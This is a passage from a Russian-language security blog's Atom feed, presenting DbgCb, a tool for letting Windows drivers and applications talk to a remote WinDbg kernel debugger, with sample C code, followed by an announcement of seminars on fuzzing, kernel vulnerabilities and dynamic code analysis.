<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1259663162418910941</id><updated>2012-02-16T18:53:54.273-08:00</updated><category term='уязвимости'/><category term='руткиты'/><category term='старые записи'/><category term='хакспейс'/><category term='фаззинг'/><category term='выступления'/><category term='программы'/><category term='malware'/><category term='Esаge Lab'/><category term='реверсинг'/><category term='релизы'/><category term='визуализация'/><category term='виртуализация'/><category term='безопасность'/><category term='отладка'/><title type='text'>My aimful life</title><subtitle type='html'>Another web log by Oleksiuk Dmitry aka Cr4sh</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.cr4.sh/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>15</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-6518987371083173971</id><published>2011-11-14T04:30:00.000-08:00</published><updated>2011-12-03T12:12:42.090-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='программы'/><category scheme='http://www.blogger.com/atom/ns#' term='реверсинг'/><category scheme='http://www.blogger.com/atom/ns#' term='отладка'/><category scheme='http://www.blogger.com/atom/ns#' term='релизы'/><title type='text'>DbgCb: интеграция приложения/драйвера с удалённым отладчиком ядра</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Думаю, для многих программистов и исследователей набор вида "виртуальная машина с Windows + WinDbg в качестве удалённого отладчика режима ядра" давно стал привычным и необходимым инструментом. Для того, что бы выжать из такой связки максимум возможностей и упростить рутинную работу, многие применяют вещи вроде скриптовых движков для отладчика (&lt;a href="http://pykd.codeplex.com/"&gt;pykd&lt;/a&gt;, &lt;a href="http://code.google.com/p/idapython/"&gt;IDAPython&lt;/a&gt;) или отдельных врапперов для отладочных интерфейсов Windows (&lt;a href="http://pedram.redhive.com/PyDbg/docs/"&gt;PyDbg&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Однако, очень часто возникает задача не только частичной автоматизации работы отладчика, но и необходимость взаимодействия с ним из кода отлаживаемого на удалённой системе приложения или драйвера. В стандартном случае, это самое приложение или драйвер о присутствии удалённого отладчика вообще ничего не знает, но при решении некоторых задач для него было бы полезно получать от отладчика разного рода информацию а так же исполнять в его контексте команды без непосредственного участия человека.&lt;br /&gt;&lt;br /&gt;Примеры из жизни, где подобные механизмы интеграции приложения/драйвера с отладчиком были бы кстати:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Исследование программ и компонентов операционной системы в процессе их работы, в ходе которого может понадобится устанавливать перехваты кода, и делать достаточно сложную обработку полученных данных, для реализации которой попросту не хватит возможностей (или производительности) &lt;a href="https://pykd.svn.codeplex.com/svn/samples/break.py"&gt;скрипта на pykd&lt;/a&gt;, использующего точки останова.&lt;/li&gt;&lt;li&gt;Иногда, для того что бы быстро проверить какую-то идею/технологию, бывает необходимо прямо в "живой" проект добавить код, работающий с какими-либо не экспортируемыми функциями операционной системы (или недокументированными структурами), но вместо жесткого хардкодинга их адресов/смещений было бы удобно "спросить" об этих адресах/смещениях удалённый отладчик, который может извлечь всю необходимую информацию из доступных ему актуальных отладочных символов.&lt;/li&gt;&lt;li&gt;В процессе отладки своего кода бывает необходимо с некоторой периодичностью выполнять определённые манипуляции в отладчике (вывести стек вызовов в определённой точке, снять/установить точку останова в момент наступления какого-то события, итд.), без необходимости отвлекаться на, собственно, сам отладчик.&lt;/li&gt;&lt;/ul&gt;Для решения таких вот небольших повседневных задач я разработал инструмент, под названием DbgCb (Kernel Debugger Communication Engine), который и хочу представить широкому вниманию в данной заметке.&lt;br /&gt;&lt;br /&gt;Функционально DbgCb состоит из двух компонентов:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Клиентский код, встраиваемый в приложение или драйвер, из которого доступен ряд функций, совершающих полезные действия с удалённым ядерным отладчиком.&lt;/li&gt;&lt;li&gt;Расширение для Windows Debugging Tools - выполнено в виде плагина для отладчика WinDbg/KD, предназначено для обработки запросов от клиентского кода.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/dbgcb/dbgcb_scheme.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/dbgcb/dbgcb_scheme.png" style="border: 0px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Взаимодействие этих компонентов реализовано тривиально: плагин для WinDbg использует интерфейс &lt;a href="http://msdn.microsoft.com/en-us/library/ff550550(v=vs.85).aspx"&gt;IDebugEventCallbacks&lt;/a&gt;, позволяющий ему отслеживать различные события (срабатывание точек останова, изменения состояния отлаживаемой системы, итд.), а клиентский код, при вызове полезной функции, просто генерирует #DB (debug exception), поместив перед этим в регистры процессора специальные "магические" константы, значения которых и сообщают плагину о том, выполнение какой операции от него требуется.&lt;br /&gt;&lt;br /&gt;Клиентский код выполнен в виде небольшого фрагмента на языке C, который может быть встроен в произвольное приложение или драйвер, а так же оформлен как библиотека. В текущей версии, в нём реализованы следующие три полезных функции:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;*&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: green;"&gt; * Execute debuuger command (IDebugControl::Execute()).&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: green;"&gt; &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;BOOLEAN dbg_exec(PCHAR lpFormat, ...);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;*&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: green;"&gt; * Evaluate debuuger expression (IDebugControl::Evaluate()).&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: green;"&gt; &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;PVOID dbg_eval(PCHAR lpFormat, ...);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;/span&gt;&lt;span style="color: green;"&gt;*&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: green;"&gt; * Get offset of the some structure field&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: green;"&gt; &lt;/span&gt;&lt;span style="color: green;"&gt;*/&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;LONG dbg_field_offset(PCHAR lpFormat, ...);&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Пример использования API клиентского кода DbgCb в драйвере режима ядра:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;div&gt;&lt;span style="color: teal;"&gt; 1&lt;/span&gt; &lt;span style="color: black;"&gt;NTSTATUS NTAPI DriverEntry(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 2&lt;/span&gt; &lt;span style="color: black;"&gt;    PDRIVER_OBJECT DriverObject,&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 3&lt;/span&gt; &lt;span style="color: black;"&gt;    PUNICODE_STRING RegistryPath)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 4&lt;/span&gt; &lt;span style="color: black;"&gt;{    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 5&lt;/span&gt; &lt;span style="color: black;"&gt;    DriverObject&lt;/span&gt;&lt;span style="color: black;"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color: black;"&gt;DriverUnload &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; DriverUnload;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 6&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 7&lt;/span&gt; &lt;span style="color: black;"&gt;    DbgPrint(__FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;()\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 8&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt; 9&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Test debugger command execution.&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;10&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (dbg_exec(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;.printf /D \"&amp;lt;b&amp;gt;Hello from &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt; __FUNCTION__ &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;()&amp;lt;/b&amp;gt;\\n\"&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;))&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;11&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;12&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; another DML example&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;13&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;        dbg_exec(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;14&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;.printf /D \"&amp;lt;exec cmd=\\\"!drvobj &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;IFMT&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;\\\"&amp;gt;&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;15&lt;/span&gt; &lt;span style="color: black;"&gt;            &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Show _DRIVER_OBJECT information.&amp;lt;/exec&amp;gt;\\n\"&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;16&lt;/span&gt; &lt;span style="color: black;"&gt;            DriverObject&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;17&lt;/span&gt; &lt;span style="color: black;"&gt;        );&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;18&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;19&lt;/span&gt; &lt;span style="color: black;"&gt;        DbgPrint(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;Breaking into the kernel debugger (check the DML link above)...\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;20&lt;/span&gt; &lt;span style="color: black;"&gt;        DbgBreakPoint();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;21&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;22&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Test symbol querying.&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;23&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;        PVOID Addr &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; dbg_eval(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;nt!KiDispatchException&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;24&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Addr)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;25&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;26&lt;/span&gt; &lt;span style="color: black;"&gt;            DbgPrint(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;&amp;lt;?dml?&amp;gt;&amp;lt;b&amp;gt;nt!KiDispatchException() is at &lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;IFMT&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;&amp;lt;/b&amp;gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, Addr);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;27&lt;/span&gt; &lt;span style="color: black;"&gt;        }        &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;28&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;29&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;30&lt;/span&gt; &lt;span style="color: black;"&gt;            DbgPrint(__FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;() ERROR: dbg_eval() fails\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;31&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;32&lt;/span&gt; &lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;33&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: green;"&gt;//&lt;/span&gt;&lt;span style="color: green;"&gt; Test structure field offset querying.&lt;/span&gt;&lt;span style="color: green;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;34&lt;/span&gt; &lt;span style="color: green;"&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;        LONG Offset &lt;/span&gt;&lt;span style="color: black;"&gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; dbg_field_offset(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;nt!_EPROCESS::ImageFileName&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;35&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: black;"&gt; (Offset &lt;/span&gt;&lt;span style="color: black;"&gt;&amp;gt;=&lt;/span&gt;&lt;span style="color: black;"&gt; &lt;/span&gt;&lt;span style="color: purple;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;36&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;37&lt;/span&gt; &lt;span style="color: black;"&gt;            DbgPrint(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;&amp;lt;?dml?&amp;gt;&amp;lt;b&amp;gt;_EPROCESS::ImageFileName offset is 0x%x&amp;lt;/b&amp;gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;, Offset);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;38&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;39&lt;/span&gt; &lt;span style="color: black;"&gt;        &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;40&lt;/span&gt; &lt;span style="color: black;"&gt;        {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;41&lt;/span&gt; &lt;span style="color: black;"&gt;            DbgPrint(__FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;() ERROR: dbg_field_offset() fails\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;42&lt;/span&gt; &lt;span style="color: black;"&gt;        }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;43&lt;/span&gt; &lt;span style="color: black;"&gt;    }    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;44&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;span style="color: black;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;45&lt;/span&gt; &lt;span style="color: black;"&gt;    {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;46&lt;/span&gt; &lt;span style="color: black;"&gt;        DbgPrint(__FUNCTION__&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: maroon;"&gt;() WARNING: dbgcb extension is not loaded\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: black;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;47&lt;/span&gt; &lt;span style="color: black;"&gt;    }&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;48&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;49&lt;/span&gt; &lt;span style="color: black;"&gt;    &lt;/span&gt;&lt;span style="color: blue;"&gt;return&lt;/span&gt;&lt;span style="color: black;"&gt; STATUS_SUCCESS;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: teal;"&gt;50&lt;/span&gt; &lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/pre&gt;&lt;br /&gt;Исходный код DbgCb доступен в &lt;a href="https://github.com/Cr4sh/DbgCb"&gt;репозитории на GitHub&lt;/a&gt;, и включает в себя:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;./dbgcb/&lt;/b&gt; - Исходные тексты расширения для отладчика.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./dbgcb.dll&lt;/b&gt;, &lt;b&gt;./dbgcb_x64.dll&lt;/b&gt; - Исполняемые файлы расширения для отладчика WinDbg/KD.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./common/&lt;/b&gt; - Исходные тексты клиентского кода.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./dbgcb_app/&lt;/b&gt; - Исходные тексты примера использования клиентского кода в приложении.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./dbgcb_app.exe&lt;/b&gt;,&amp;nbsp;&lt;b&gt;./dbgcb_app_x64.exe&lt;/b&gt; - Исполняемые файлы примера приложения.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./dbgcb_drv/&lt;/b&gt; - Исходные тексты примера использования клиентского кода в драйвере.&lt;/li&gt;&lt;li&gt;&lt;b&gt;./dbgcb_drv.sys&lt;/b&gt;,&amp;nbsp;&lt;b&gt;./dbgcb_drv_x64.sys&lt;/b&gt;&amp;nbsp;- Исполняемые файлы примера драйвера.&lt;/li&gt;&lt;/ul&gt;Перед запуском примера драйвера или приложения, в среде отлаживаемой операционной системы, необходимо выполнить загрузку модуля DbgCb в отладчик, используя команду ".load dbgcb.dll".&lt;br /&gt;&lt;br /&gt;При запуске примера драйвера в Command Window отладчика появятся следующие сообщения, свидетельствующие о том, что Kernel Debugger Communication Engine работает:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://dl.dropbox.com/u/22903093/blog/dbgcb/dbgcb_messages.png"&gt;&lt;img alt="" src="http://dl.dropbox.com/u/22903093/blog/dbgcb/dbgcb_messages.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Помимо пользы для исследовательских задач, данный инструмент существенно облегчает мне жизнь при анализе уязвимостей и отладке приложений, использующих глубокую интеграцию с системой не совсем "легальными" способами. Возможно, кому-то из вас он так же пригодится.&lt;br /&gt;&lt;br /&gt;Идеи по реализации дополнительных возможностей в рамках API клиентского кода очень приветствуются, и принимаются к рассмотрению для реализации.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1259663162418910941-6518987371083173971?l=blog.cr4.sh' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cr4.sh/feeds/6518987371083173971/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://blog.cr4.sh/2011/11/dbgcb.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6518987371083173971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1259663162418910941/posts/default/6518987371083173971'/><link rel='alternate' type='text/html' href='http://blog.cr4.sh/2011/11/dbgcb.html' title='DbgCb: интеграция приложения/драйвера с удалённым отладчиком ядра'/><author><name>Сr4sh</name><uri>http://www.blogger.com/profile/15699156202053043387</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_8WKXMyf2wH8/TQdhp_Ix_JI/AAAAAAAAABo/2_SuNdpwTzg/S220/av.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1259663162418910941.post-2818002360271644189</id><published>2011-10-10T12:38:00.000-07:00</published><updated>2011-11-01T17:51:28.168-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='хакспейс'/><category scheme='http://www.blogger.com/atom/ns#' term='Esаge Lab'/><category scheme='http://www.blogger.com/atom/ns#' term='выступления'/><title type='text'>Анонс семинаров в хакспейсе Neuron</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="repost"&gt;Репост из &lt;a href="http://esagelab.ru/blog/life/%D0%B0%D0%BD%D0%BE%D0%BD%D1%81-%D1%81%D0%B5%D0%BC%D0%B8%D0%BD%D0%B0%D1%80%D0%BE%D0%B2-%D0%B2-%D1%85%D0%B0%D0%BA%D1%81%D0%BF%D0%B5%D0%B9%D1%81%D0%B5-neuron/"&gt;блога Esage Lab&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;В октябре я&amp;nbsp;буду проводить в &lt;a href="http://neuron-hackspace.ru/"&gt;хакспейсе&lt;/a&gt; цикл из трёх семинаров, которые будут посвящены технологиям поиска уязвимостей и исследования кода. В данные семинары войдет довольно много материала: часть его была представлена в прошлых публикациях и выступлениях, часть была изложена в виде лекций &lt;a href="http://esagelab.ru/blog/business/%D1%81%D1%82%D0%B0%D0%B6%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0"&gt;стажерам Esage Lab&lt;/a&gt; этим летом, часть будет дана мной широкой публике впервые.&amp;nbsp;Фактически, все семинары являются экстраполяцией моего опыта и исследований в теме поиска уязвимостей, которая будет разбавлена личным видением того, как лучше организовывать те или иные вещи.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;1. Фаззинг: автоматизированный поиск уязвимостей в программном обеспечении&lt;/h2&gt;&lt;b&gt;&lt;/b&gt;Первый семинар цикла будет&amp;nbsp;рассчитан&amp;nbsp;в большей степени на тех людей, для которых тема фаззинга является новой или малоизученной. В рамках данного семинара слушателям будет дано&amp;nbsp;системное&amp;nbsp;изложение основных концепций фаззинга как технологического процесса и его разновидностей как для узкоспециализированных задач, так и для задач широкого класса. Я подробно рассмотрю технические аспекты реализации различных этапов фаззинга, расскажу про существующие инструменты, которые призваны облегчить работу исследователя, и приведу практические примеры автоматизированного нахождения уязвимостей в реальных программных продуктах.&lt;br /&gt;&lt;br /&gt;Дата проведения: 12 Октября (Среда), 19:00&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;2. Уязвимости в ядре, драйверах и других ring0 компонентах операционных систем семейства Windows NT&lt;/h2&gt;Так как исследование безопасности Windows NT является одним из моих самых приоритетных направлений развития и работы - этот семинар должен получиться наиболее интересным с практической точки зрения. Для полноценного усваивания материала от слушателя потребуются наличие общих представлений об архитектуре современных операционных систем и природе уязвимостей в программном коде. В ходе семинара будут подробно рассмотрены типовые уязвимости в ядре и драйверах режима ядра Windows, векторы атак на компоненты режима ядра, особенности работы отдельных механизмов, некорректное обращение с которыми наиболее часто является причиной уязвимостей. Так же я подробно расскажу об архитектуре графической подсистемы Windows (win32k.sys, CSRSS) и уязвимостях в ней. В завершении семинара будут рассмотрены практические аспекты реализации эксплойтов для уязвимостей в компонентах режима ядра а так же различные трудности на этом пути и варианты их решения.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Дата проведения: 19 Октября (Среда), 19:00&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;3. Инструменты динамического анализа кода&lt;/h2&gt;Поскольку задачи динамического анализа кода очень часто связанны именно с автоматизированным поиском уязвимостей, и являются очень интересными сами по себе - было решено организовать отдельный семинар, 